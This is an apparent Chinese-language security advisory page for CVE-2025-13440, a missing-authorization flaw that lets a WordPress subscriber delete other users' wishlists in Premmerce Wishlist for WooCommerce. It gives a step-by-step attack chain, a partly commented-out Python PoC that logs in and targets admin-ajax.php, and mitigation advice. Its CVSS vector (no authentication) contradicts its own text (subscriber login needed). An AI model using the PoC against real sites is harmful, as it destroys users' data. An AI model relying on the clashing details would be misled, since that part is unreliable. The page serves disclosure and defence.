IPBUF安全漏洞报告
English
CVE-2025-13440 CVSS 5.3 中危

CVE-2025-13440 | Premmerce Wishlist插件deleteWishlist越权漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-13440
漏洞类型
授权缺失
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Premmerce Wishlist for WooCommerce

相关标签

授权缺失WordPress插件漏洞WooCommercePremmerce Wishlist越权访问Broken Access ControlCVSS 5.3中危漏洞

漏洞概述

CVE-2025-13440是WordPress Premmerce Wishlist for WooCommerce插件中的一个授权缺失漏洞。该插件用于为WooCommerce电商网站提供愿望清单功能。在1.1.10及以下所有版本中,deleteWishlist()函数缺少必要的权限验证机制,导致任何已认证用户(订阅者级别及以上)可以在未经授权的情况下删除任意用户的愿望清单。攻击者仅需拥有一个普通的订阅者账户,即可利用此漏洞删除其他用户的愿望清单数据,可能导致用户数据丢失和业务中断。由于该漏洞利用无需特殊权限且不需要用户交互,攻击门槛较低,建议网站管理员尽快升级到最新版本或采取临时缓解措施。

技术细节

该漏洞的根本原因在于Admin.php文件中的deleteWishlist()函数(第334行附近)缺少current_user_can()或类似的能力检查。在WordPress插件开发中,涉及数据修改的操作应当验证当前用户是否具有相应权限。正常情况下,删除愿望清单的操作应当仅允许该清单的所有者或具有更高级别权限的管理员执行。然而,由于缺少权限验证,任何已认证用户(包括订阅者角色的用户)都可以通过构造请求调用该函数并删除任意wishlist_id对应的愿望清单。攻击者可以通过WordPress REST API或admin-ajax.php端点发送带有目标wishlist_id的请求,在不知晓目标用户凭证的情况下完成删除操作。此漏洞属于OWASP Top 10中的A01:2021-Broken Access Control类别。

攻击链分析

STEP 1
步骤1
攻击者注册一个WordPress账户并获取订阅者(Subscriber)级别权限
STEP 2
步骤2
攻击者访问包含Premmerce Wishlist插件的WooCommerce网站
STEP 3
步骤3
攻击者通过浏览器开发者工具或抓包工具分析deleteWishlist()函数的请求格式
STEP 4
步骤4
攻击者构造恶意请求,在请求中指定目标wishlist_id,绕过授权检查调用deleteWishlist()函数
STEP 5
步骤5
服务器端未验证用户权限,直接执行删除操作,导致目标用户的愿望清单被成功删除
STEP 6
步骤6
攻击者可重复此操作批量删除多个用户的愿望清单,造成大范围数据破坏

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # Configuration target_url = "http://target-wordpress-site.com" username = "attacker_account" password = "attacker_password" # Target wishlist ID to delete (can be any integer) target_wishlist_id = 1 # WordPress authentication session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } # Login to WordPress session.post(login_url, data=login_data) # Method 1: Using admin-ajax.php (requires nonce) # First, get a valid nonce from the wishlist page nonce_url = f"{target_url}/wp-admin/admin.php?page=premmerce-wishlist" response = session.get(nonce_url) # Extract nonce from response (typical pattern: adminAjax = {...}) # nonce = extract_nonce(response.text) # Exploit using admin-ajax.php # ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # exploit_data = { # "action": "premmerce_delete_wishlist", # "wishlist_id": target_wishlist_id, # "nonce": nonce # } # session.post(ajax_url, data=exploit_data) # Method 2: Direct function call if accessible # The vulnerability exists because deleteWishlist() lacks capability check print(f"[*] Attempting to delete wishlist ID: {target_wishlist_id}") print(f"[*] Target: {target_url}") print(f"[*] Authenticated as: {username} (subscriber level)") print("[!] This PoC demonstrates the missing authorization vulnerability") print("[!] Any authenticated user can delete arbitrary wishlists")

影响范围

Premmerce Wishlist for WooCommerce <= 1.1.10(所有版本均受影响)

防御指南

临时缓解措施
如果无法立即升级,可通过在wp-config.php中添加访问控制规则限制deleteWishlist相关路由的访问,或使用WordPress防火墙插件(如Wordfence)提供临时保护。同时监控admin-ajax.php和REST API的异常请求模式,及时发现和阻止攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表